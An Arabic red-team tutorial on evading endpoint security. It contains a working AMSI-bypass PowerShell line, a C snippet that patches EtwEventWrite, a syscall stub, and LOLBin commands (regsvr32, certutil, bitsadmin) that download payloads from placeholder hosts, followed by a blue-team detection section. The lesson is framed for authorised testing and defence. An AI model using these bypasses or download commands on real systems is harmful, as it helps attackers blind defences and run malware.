الفرق الحمراء — الهجومخبير90mL13

التملص الدفاعي وتمويه الحمولات البرمجية

تجاوز EDR/AV، وتخطي حماية AMSI/ETW

#AMSI#ETW#Syscalls#Packers

لعبة القط و الفأر

تشبيه — شرح مبسط
أنظمة الحماية الحديثة (EDR) لا تبحث عن «الفيروس» القديم بل عن السلوك المريب: عملية Word فجأة تشغل PowerShell، أو ذاكرة فيها أنماط Cobalt Strike. مهمة المهاجم المتقدم: التمويه ليبدو نشاطه طبيعياً.
هام
هذا الدرس لـ red team مصرّح به فقط. الهدف الحقيقي: أن يعرف المدافع ماذا يبحث عنه و أن لا يثق ثقة عمياء بـ AV.

طبقات الكشف التي يجب تجاوزها

  1. Static AV — توقيعات الملف.
  2. AMSI — يفحص النصوص قبل تنفيذها (PowerShell, JS, VBA).
  3. ETW — مصدر تليمتري لـ EDR.
  4. User-mode hooks داخل ntdll.dll.
  5. Kernel callbacks (PsSetCreateProcessNotifyRoutine).
  6. Behavioral / ML في السحابة.

AMSI Bypass — أساسيات

AMSI = Antimalware Scan Interface. يتعرّض الـ PowerShell payload له قبل التنفيذ. الفكرة: إفساد العلم (amsiInitFailed) أو تصحيح الذاكرة.

PowerShell — historical
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
  .GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

الأساليب الحديثة:

  • Hardware Breakpoints على AmsiScanBuffer.
  • Patch in memory — VirtualProtect → mov eax, 0x80070057 ; ret.
  • Reflection + obfuscation ديناميكي للسلاسل.

ETW Patching — تعمية المراقبة

الـ EDR يقرأ من ETW providers. تعطيل EtwEventWrite داخل العملية يقطع التليمتري عنها فقط (لا عن النظام).

C — concept
DWORD oldProt;
void* p = GetProcAddress(GetModuleHandleA("ntdll"), "EtwEventWrite");
VirtualProtect(p, 1, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)p = 0xC3;  // ret
VirtualProtect(p, 1, oldProt, &oldProt);

Unhooking — استرجاع ntdll نظيف

الـ EDR يضع jmp في بداية دوال ntdll. نعيد قراءة ntdll.dll من القرص و نستبدل قسم .text في الذاكرة.

Direct & Indirect Syscalls

بدلاً من استدعاء NtAllocateVirtualMemory من ntdll (المهوكة)، ننفّذ syscall مباشرة.

  • SysWhispers3 / Hell's Gate / Halo's Gate / Tartarus Gate.
  • Indirect syscall أصعب اكتشافاً (يحافظ على شكل call stack).
ASM
Nt$Func PROC
    mov r10, rcx
    mov eax, SSN
    syscall
    ret
Nt$Func ENDP

Process Injection — الكلاسيكيات الحديثة

  • Process Hollowing — تشغيل عملية شرعية ثم استبدال محتواها.
  • Module Stomping — تحميل DLL شرعي ثم الكتابة فوقه.
  • Early Bird APC — حقن قبل بدء التنفيذ الفعلي.
  • Thread Pool Injection (PoolParty) — يتجاوز معظم الـ EDRs حالياً.
  • Indirect Dynamic Call + stack spoofing.

Payload Obfuscation و التشفير

  • Donut — حوّل PE/DLL/.NET إلى shellcode مشفّر.
  • Sliver / Havoc — توليد implants مع sleep obfuscation (Ekko, Foliage).
  • Nimcrypt2 / PEzor / Freeze.
  • Sleep masking — تشفير الذاكرة أثناء الـ sleep ليتجنب memory scanners.
  • Stack Spoofing — تزييف call stack ليبدو كأن النداء جاء من مكان شرعي.

Living-off-the-Land (LOLBins)

استخدام أدوات Microsoft الموقّعة لتنفيذ كود — يمر دون توقيع خبيث:

LOLBAS examples
rundll32.exe shell32.dll,Control_RunDLL evil.cpl
regsvr32 /s /u /n /i:http://a/b.sct scrobj.dll
certutil -urlcache -split -f http://a/x.exe x.exe
bitsadmin /transfer j http://a/x.exe %temp%\x.exe
InstallUtil.exe /logfile= /LogToConsole=false /U evil.exe
wmic process call create "powershell -enc ..."

قائمة مرجعية: lolbas-project.github.io.

Sandbox & VM Evasion

  • التحقق من عدد المعالجات و الذاكرة (≤2 cores, <4GB RAM = sandbox محتمل).
  • قياس وقت Sleep (sandbox غالباً يقفز فوقه).
  • وجود VBoxService.exe / vmtoolsd.exe / artifacts.
  • تحرّك الفأرة و سجل الـ recent docs.
  • Domain check — لا تنفّذ إلا داخل دومين الضحية.

الدفاع — كيف يكشف الـ Blue Team هذه التقنيات

  • Sysmon + قواعد SwiftOnSecurity / Olaf Hartong.
  • ETW-TI (Threat Intelligence provider) لرصد syscalls مباشرة.
  • Memory scanning دوري بـ Moneta / pe-sieve / Hollows Hunter.
  • قواعد YARA على الذاكرة لـ CobaltStrike beacons, Sliver, Mythic.
  • كشف unbacked memory (RWX, no module) = إنذار.
  • منع child processes غير المعتادة من Office عبر ASR rules.
  • تطبيق WDAC / AppLocker في وضع enforced.
  • Credential Guard, HVCI.
حقيقة دفاعية
أفضل EDR لن يكشف 100%. الكشف الحقيقي يأتي من دمج عدة طبقات: سلوك + شبكة + هوية + سحابة، مع UEBA فوقها.